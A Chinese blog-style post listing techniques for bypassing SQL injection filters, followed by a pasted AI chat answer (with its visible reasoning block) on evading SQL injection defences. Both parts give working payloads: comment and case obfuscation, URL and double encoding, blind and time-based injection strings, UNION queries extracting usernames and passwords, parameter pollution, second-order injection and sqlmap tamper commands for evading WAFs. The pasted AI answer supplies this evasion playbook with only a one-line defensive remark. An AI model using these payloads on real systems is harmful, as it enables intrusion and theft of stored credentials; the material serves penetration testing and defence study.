sql注入过滤与绕过

在一些网站,管理员会通过一些正则表达式来使过滤一些语句
此时,就要通过一些绕过方法来绕过过滤进行查询。

一、通过注释符绕过

注释符 # //
通过在关键词的中间加入注释符,使关键词不被识别
如 select 改为 se/
/lect

二、通过<>绕过

如 select 改为 sel<>ect

三、通过改变大小写绕过

四、如果and or被过滤

可以将and 用&& 替换
or 用 || 替换

五、通过重复关键词绕过

六、通过url编码绕过

七、等价函数与命令绕过

函数或变量

hex()、bin() ==> ascii()
sleep() >benchmark()
concat_ws()
>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1

<think>好的,用户想了解如何绕过SQL注入防护机制的技术细节。首先,我需要回忆常见的SQL注入绕过方法,并确保回答准确。用户提到他们已经有了参数化查询、输入验证等防护措施的知识,现在需要绕过这些防护的技巧。 首先,常见的绕过方法包括编码绕过、注释符混淆、布尔盲注和时间盲注。编码方面,比如URL编码或十六进制编码可能被用来绕过简单的过滤。例如,用%20代替空格,或者用CHAR()函数代替字符。 然后是注释符的使用,比如用--或/* */来截断后面的查询,可能绕过某些过滤逻辑。有些系统可能过滤了常见的注释符,但可能忽略其他变体,比如使用#或者不带空格的--。 接下来是布尔盲注和时间盲注,这些技术不依赖错误信息,而是通过页面响应差异或延迟来判断注入结果。例如,利用AND 1=1或AND IF(条件,SLEEP(5),0)这样的语句。 另外,还有分块传输、HTTP参数污染等方法,利用WAF处理请求的差异来绕过检测。比如,通过多个相同参数传递恶意代码,或者将注入语句拆分到多个参数中。 需要提到工具如sqlmap的tamper脚本,这些脚本可以自动应用各种编码和混淆技术。例如,使用space2comment脚本将空格替换为注释。 同时,要注意引用用户提供的参考内容,特别是引用[4]中的sqlmap命令示例,说明工具在绕过中的应用。可能用户对实际操作更感兴趣,所以需要结合实例说明。 还要注意技术细节的准确性,比如不同数据库的差异,如MySQLSQL Server在注释和函数上的不同。例如,MySQL支持/*!50000 ... */这样的内联注释,可以用来绕过一些过滤。 最后,提醒用户这些方法仅用于防御测试,避免法律风险。确保回答结构清晰,分点列出方法,每个方法附上例子和技术说明,并适当引用提供的资料。</think>### 如何绕过SQL注入防护机制的技术细节 #### 1. **编码绕过** - **URL编码/十六进制编码**: 将关键字符转换为URL编码或十六进制形式,例如: - 空格用`%20`或`+`代替,或用`/**/`代替空格(适用于MySQL)[^3]。 - 单引号`'`转为`%27`,`SELECT`转为`SEL%45%43%54`(十六进制)。 - **Unicode编码**: 利用数据库支持的Unicode字符,如`%u0027`表示单引号。 - **双重编码**: 对已编码的字符再次编码,如`%2527`解码后为`%27`(即单引号)。 #### 2. **注释符混淆** - **内联注释**: 在MySQL中可用`/*!50000 ... */`绕过部分过滤,例如: ```sql SELECT/*!50000 user*/ FROM dvwa.users; ``` - **截断注释**: 使用`--`、`#`或`/* */`截断后续语句,例如: ```sql ' OR 1=1 -- ``` #### 3. **布尔盲注时间盲注** - **布尔盲注**: 通过页面响应差异判断条件真假,例如: ```sql ' AND (SELECT SUBSTRING(password,1,1) FROM users)='a ``` - **时间盲注**: 利用条件触发的延迟,例如: ```sql ' AND IF(1=1, SLEEP(5), 0) -- ``` #### 4. **分块传输参数污染** - **HTTP分块传输**: 将恶意语句拆分成多个请求块,绕过WAF的流式检测。 - **参数污染**: 提交多个同名参数,如`?id=1&id=2 UNION SELECT 1,2,3`,可能触发后端解析差异。 #### 5. **工具自动化绕过(如sqlmap)** - **Tamper脚本**: 使用sqlmap的`--tamper`参数自动混淆语句,例如: ```bash sqlmap -u "http://example.com?id=1" --tamper=space2comment,equaltolike ``` 该命令将空格替换为`/**/`,`=`替换为`LIKE`[^4]。 - **绕过WAF规则**: 结合`--random-agent`和`--delay`降低检测概率。 #### 6. **数据库特性利用** - **字符串拼接**: 如MySQL的`CONCAT()`函数: ```sql ' UNION SELECT CONCAT(username,0x3a,password) FROM users -- ``` - **动态执行**: 在SQL Server中利用`EXEC()`动态执行十六进制语句: ```sql ; EXEC('SELECT * FROM users') -- ``` #### 7. **二次注入** - 利用已存储的恶意数据触发注入,例如: 1. 注册用户名时输入`admin'-- `。 2. 后续查询时触发拼接漏洞: ```sql UPDATE users SET email='[email protected]' WHERE username='admin'-- '; ``` #### 防御建议(引用说明) 参数化查询仍是防止SQL注入的核心手段[^1],结合输入验证和WAF规则更新可提升防护强度。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值